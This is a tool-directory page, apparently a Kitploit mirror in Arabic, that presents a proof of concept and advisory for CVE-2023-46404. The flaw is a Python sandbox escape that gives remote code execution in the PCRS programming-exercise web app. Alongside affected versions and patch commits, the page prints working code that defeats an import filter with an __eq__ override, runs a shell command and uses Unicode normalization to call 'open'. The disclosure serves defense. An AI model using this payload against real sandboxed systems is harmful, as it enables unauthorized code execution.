Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-46404 — PoC وشرح لـ CVE-2023-46404. | Kitploit
أدوات/GitHubGitHub/windecks/cve-2023-46404
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubwindecks/cve-2023-46404

CVE-2023-46404

PoC وشرح لـ CVE-2023-46404.

عرض المستودع
3منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-46404

PCRS هو تطبيق ويب لتمارين البرمجة عبر الإنترنت تم تطويره في جامعة تورنتو. انظر مستودع Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/

ملخص

صفحة 'الأسئلة' في PCRS مع تقديم الكود وصفحة 'محرر الكود' عرضة لتنفيذ التعليمات البرمجية عن بُعد (RCE) عن طريق الهروب من وضع الحماية للبايثون.

التفاصيل

يمكن تحقيق تنفيذ التعليمات البرمجية عن بُعد في حالات PCRS من خلال استخدام كائنات المولدات. باستخدام إطارات المولدات (gi_frame) و f_back، يمكن للنصوص البرمجية الخروج من إطار مكدس محمي وتنفيذ تعليمات برمجية ضارة في بيئة غير محمية. بالإضافة إلى ذلك، يمكن لتطبيع اليونيكود تجاوز التعقيم الأساسي للإدخال بسهولة. يمكن لأي مستخدم مصادق عليه بأقل امتيازات تنفيذ هذا الهجوم. راجع PoC لمزيد من التفاصيل.

الإصدارات المتأثرة المعروفة

  • PCRS <= 3.11 d0de1e مع تنفيذ بايثون.
  • تم تنفيذ التصحيح في 9326ad3 مع تخفيف جزئي في fbaedd3.

التخفيف

إنشاء آليات عزل آمنة من الصفر عرضة للإغفالات والثغرات. كما هو الحال دائمًا، من الأفضل وضع بيئة تنفيذ في صندوق حماية بدلاً من لغة.

إضافي

يمكن استخدام تجاوز __eq__ في بيئة مقيدة:

root@kitploit:~
def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s
تنزيل الأداة